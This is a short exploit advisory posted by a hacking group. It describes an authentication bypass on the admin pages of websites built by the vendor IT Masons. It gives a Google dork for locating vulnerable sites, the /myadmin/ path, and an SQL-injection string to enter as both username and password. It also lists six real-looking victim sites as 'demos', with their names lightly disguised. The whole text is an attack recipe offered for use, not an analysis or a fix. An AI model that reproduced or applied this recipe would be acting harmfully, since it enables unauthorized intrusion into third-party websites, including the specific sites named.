[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Exploit Title : IT Masons Bypass Admin Page Vulnerability [+] Exploit Author : Ashiyane Digital Security Team [+] Vendor Homepage : http://www.itmasons.com/ [+] Google Dork : intext:"Website Powered by: IT Masons" [+] Date: 2015-07-18 [+] Tested On : Windows , Linux [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Then Choose a Target and put this after URL : /myadmin/ [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] And fill username and password like the information below : [+] Username : '=' 'OR' [+] Password : '=' 'OR' [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Demos : [+] http://kanataXlasers.com/myadmin/ [+] http://kanatalaXsers.com/myadmin/ [+] http://greyhighlaXndsbravehearts.com/myadmin/ [+] http://www.bracebXridgeblues.com/myadmin/ [+] http://www.renegadXesjra.com/myadmin/ [+] http://www.wellingtoXndukes.com/myadmin/ [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] In the name of IRAN and Allah [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] SPT To : All of the People in my heart [+] Discovered by : Cloner-47 [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]